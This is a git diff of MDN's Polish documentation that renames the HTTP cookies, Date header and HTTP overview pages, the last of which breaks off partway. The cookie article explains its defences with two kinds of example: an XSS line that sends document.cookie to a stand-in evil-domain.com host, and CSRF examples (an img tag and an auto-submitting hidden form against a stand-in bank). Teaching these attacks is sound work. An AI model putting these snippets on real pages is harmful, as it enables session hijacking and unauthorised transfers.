Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:

- -
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
- -

Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>) gdy strona jest ładowana:

- -
<form action="https://bank.example.com/withdraw" method="POST">
-  <input type="hidden" name="account" value="bob">
-  <input type="hidden" name="amount" value="1000000">
-  <input type="hidden" name="for" value="mallory">
-</form>
-<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
-
- -

Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:

- - - -

Śledzenie i prywatność

- -

Ciasteczka podmiotów zewnętrznych (third-party cookies)

- -

Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).

- -

Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.

- -

Do-Not-Track

- -

Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.

- - - -

Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.

- -

W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.

- -

Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.

- -

Ciasteczka zombie i  "Evercookies"

- -

Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.

- - - -

Zobacz także

- - diff --git a/files/pl/web/http/cookies/index.html b/files/pl/web/http/cookies/index.html new file mode 100644 index 0000000000..d8720ac4c4 --- /dev/null +++ b/files/pl/web/http/cookies/index.html @@ -0,0 +1,263 @@ +--- +title: Ciasteczka HTTP +slug: Web/HTTP/Ciasteczka +tags: + - aplikacje internetowe + - ciasteczka + - ciasteczka artykuł + - dane + - pamięć przeglądarki + - pliki cookie + - protokoły + - prywatność + - przeglądarka + - serwer + - śledzenie + - żądania HTTP +translation_of: Web/HTTP/Cookies +--- +

{{HTTPSidebar}}

+ +

Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem. Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.

+ +

Główne zastosowania ciasteczek:

+ +
+
Zarządzanie sesją
+
Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer
+
Personalizacja
+
Preferencje użytkownika, motywy i inne ustawienia
+
Śledzenie
+
Zapisywanie i analiza zachowania użytkownika
+
+ +

Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to Web storage API (localStorage i sessionStorage) oraz IndexedDB.

+ +
+

Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę Dane w narzędziach dla programistów dostępnych w przeglądarce.

+
+ +

Tworzenie ciasteczek

+ +

Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek Set-Cookie. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka Cookie. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.

+ + + +

Nagłówek Set-Cookie jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:

+ +
Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka>
+ +

Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.

+ +
Uwaga: W odnośnikach znajdują się przykłady użycia nagłówka Set-Cookie w różnych aplikacjach uruchamianych po stronie serwera: + + +
+ +
HTTP/2.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]
+ +

Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka Cookie, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.

+ +
GET /sample_page.html HTTP/2.0
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+ +

Ciasteczka sesyjne

+ +

Ciasteczko stworzone w poprzedniej sekcji jest ciasteczkiem sesyjnym: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw Expires lub Max-Age. Jednakże przeglądarki mogą użyć mechanizmu przywracania sesji, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.

+ +

Ciasteczka trwałe

+ +

Zamiast wygasnąć po wyłączeniu klienta, trwałe ciasteczka wygasają w konkretnym terminie (Expires) lub po określonym czasie (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+ +
+

Uwaga: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.

+
+ +

Ciasteczka Secure i HttpOnly

+ +

Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy Secure, poufne dane nigdy nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (http:) nie mają możliwości ustawiania ciasteczek z dyrektywą Secure.

+ +

Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka HttpOnly są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga HttpOnly powinna być ustawiona.

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+ +

Zakres ciasteczek

+ +

Dyrektywy Domain i Path definiują zakres ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.

+ +

Domain określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest host aktualnej lokalizacji dokumentu, z pominięciem subdomen. Jeżeli dyrektywa Domain jest określona to subdomeny zawsze są uwzględnione.

+ +

Przykładowo, jeżeli ustawiono Domain=mozilla.org, to ciasteczka są uwzględnione także dla subdomen takich jak developer.mozilla.org.

+ +

Path oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek Cookie. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.

+ +

Jeżeli ustawiono Path=/docs, to następujące przykładowe ścieżki będą pasować:

+ + + +

Ciasteczka SameSite {{experimental_inline}}

+ +

Ciasteczka SameSite pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków Cross-Site Request Forgery ({{Glossary("CSRF")}}).

+ +

Ciasteczka SameSite są relatywnie nowe, ale wspierane przez wszystkie główne przeglądarki internetowe.

+ +

Przykładowo:

+ +
Set-Cookie: nazwa=wartość; SameSite=Strict
+ +

Atrybut SameSite może przyjmować jedną z trzech wartości (bez rozróżniania wielkości liter):

+ +
+
None
+
Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (cross-site) jak i żądaniami odnoszącymi się do aktualnej strony (same-site).
+
Strict
+
Przeglądarka będzie wysyłać ciasteczka tylko żądaniami same-site (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem Strict nie zostanie przesłane.
+
Lax
+
Ciasteczka SameSite są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.
+
+ +
+

Przeglądarki decydują się na domyślne ustawianie SameSite=Lax. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (cross-origin), należy zrezygnować z zabezpieczenia SameSite używając wartości None dla tej dyrektywy. Wymaga ona obecności atrybutu Secure.

+
+ +

Prefiksy ciasteczek {{experimental_inline}}

+ +

Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się gdzie ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład application.example.com może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do example.com lub do innych subdomen dzięki ustawieniu atrybutu Domain:

+ +
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
+ +

Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku session fixation. Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.

+ +

Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją includeSubdomains,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem Set-Cookie z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie example.com.

+ +

Aby ograniczyć możliwości przeprowadzenia ataku session fixation powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem. W ramach silniejszej obrony możliwe jest użycie prefiksów ciasteczek w celu potwierdzenia pewnych faktów na temat samych ciasteczek. Dostępne są dwa prefiksy:

+ +
+
__Host-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure, wysłaną z bezpiecznego źródła (HTTPS), nie posiadającą atrybutu Domain i mającą atrybut Path o wartości /. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".
+
__Secure-
+
Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę Set-Cookie oznaczoną jako Secure i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks __Host-.
+
+ +

Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed session fixation.

+ +
+

Aplikacja będąca serwerem musi sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji nie wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.

+
+ +

Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź sekcję Set-Cookie.

+ +

Dostęp JavaScript za pomocą Document.cookie

+ +

Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga HttpOnly nie jest ustawiona, to także istniejące ciasteczka są dostępne.

+ +
document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+ +

Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi HttpOnly.

+ +

Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji.

+ +

Bezpieczeństwo

+ +
+

Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.

+
+ +

Przejmowanie sesji i XSS

+ +

Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
+ +

Atrybut HttpOnly może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej polityki bezpieczeństwa treści (CSP).

+ +

Cross-site request forgery (CSRF)

+ +

Na stronie Wikipedii znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:

+ +
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+ +

Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <iframe>) gdy strona jest ładowana:

+ +
<form action="https://bank.example.com/withdraw" method="POST">
+  <input type="hidden" name="account" value="bob">
+  <input type="hidden" name="amount" value="1000000">
+  <input type="hidden" name="for" value="mallory">
+</form>
+<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
+
+ +

Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:

+ + + +

Śledzenie i prywatność

+ +

Ciasteczka podmiotów zewnętrznych (third-party cookies)

+ +

Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko własnym (first-party cookie). W innym przypadku mówimy o ciasteczku zewnętrznego podmiotu/witryny. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są ciasteczka używane przez Google. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. Privacy Badger stworzony przez EFF).

+ +

Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie oświadczenia fundacji Wikimedia o plikach cookie.

+ +

Do-Not-Track

+ +

Nie ma prawnych lub technologicznych wymagań używania nagłówka DNT, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz DNT aby uzyskać więcej informacji.

+ + + +

Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w dyrektywie 2009/136/EC wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.

+ +

W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.

+ +

Aby dowiedzieć się więcej, sprawdź artykuł na Wikipedii oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.

+ +

Ciasteczka zombie i  "Evercookies"

+ +

Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. Web storage API i Flash Local Shared Objects.

+ + + +

Zobacz także

+ + diff --git a/files/pl/web/http/headers/data/index.html b/files/pl/web/http/headers/data/index.html deleted file mode 100644 index f348b4e839..0000000000 --- a/files/pl/web/http/headers/data/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Data -slug: Web/HTTP/Headers/Data -translation_of: Web/HTTP/Headers/Date ---- -
{{HTTPSidebar}}
- -

Date jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.

- - - - - - - - - - - - -
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
- -

Składnia

- -
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
-
- -

Dyrektywy

- -
-
<day-name>
-
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
-
<day>
-
2 digit day number, e.g. "04" or "23".
-
<month>
-
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
-
<year>
-
4 digit year number, e.g. "1990" or "2016".
-
<hour>
-
2 digit hour number, e.g. "09" or "23".
-
<minute>
-
2 digit minute number, e.g. "04" or "59".
-
<second>
-
2 digit second number, e.g. "04" or "59".
-
GMT
-
-

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

-
-
- -

Przykłady

- -
Date: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Specyfikacja

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Zgodność z przeglądarką

- - - -

{{Compat("http.headers.Date")}}

- -

Zobacz również

- - diff --git a/files/pl/web/http/headers/date/index.html b/files/pl/web/http/headers/date/index.html new file mode 100644 index 0000000000..f348b4e839 --- /dev/null +++ b/files/pl/web/http/headers/date/index.html @@ -0,0 +1,81 @@ +--- +title: Data +slug: Web/HTTP/Headers/Data +translation_of: Web/HTTP/Headers/Date +--- +
{{HTTPSidebar}}
+ +

Date jest to ogólny nagłówek HTTP zawierający datę i czas w jakiej wiadomość została stworzona.

+ + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Składnia

+ +
Date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
+
+ +

Dyrektywy

+ +
+
<day-name>
+
One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).
+
<day>
+
2 digit day number, e.g. "04" or "23".
+
<month>
+
One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).
+
<year>
+
4 digit year number, e.g. "1990" or "2016".
+
<hour>
+
2 digit hour number, e.g. "09" or "23".
+
<minute>
+
2 digit minute number, e.g. "04" or "59".
+
<second>
+
2 digit second number, e.g. "04" or "59".
+
GMT
+
+

Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.

+
+
+ +

Przykłady

+ +
Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Specyfikacja

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Zgodność z przeglądarką

+ + + +

{{Compat("http.headers.Date")}}

+ +

Zobacz również

+ + diff --git "a/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" "b/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" deleted file mode 100644 index 5fe95ca7ea..0000000000 --- "a/files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: HTTP - wiadomości ogólne -slug: Web/HTTP/HTTP_wiadomosci_ogólne -tags: - - HTML - - HTTP - - Mechanika stron - - Wstęp -translation_of: Web/HTTP/Overview ---- -
{{HTTPSidebar}}
- -

HTTP stanowi {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd.

- -

A Web document is the composition of different resources

- -

Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są żądaniami, a wiadomości wysyłane w odpowiedzi przez serwer odpowiedziami.

- -

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.

- -

Komponenty systemów opartych o HTTP 

- -

HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.

- -

Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną odpowiedzią. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.

- -

Client server chain

- -

W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.

- -

Klient: agent użytkownika (user-agent)

- -

User-agent to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.

- -

Przegladarka jest zawsze jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)

- -

Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.

- -

Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź

- -

The Web server

- -

On the opposite side of the communication channel, is the server, which serves the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.

- -

A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.

- -

Proxies

- -

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

- - - -

Basic aspects of HTTP

- -

HTTP is simple

- -

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

- -

HTTP is extensible

- -

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

- -

HTTP is stateless, but not sessionless

- -

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

- -

HTTP and connections

- -

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

- -

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

- -

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

- -

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

- -

What can be controlled by HTTP

- -

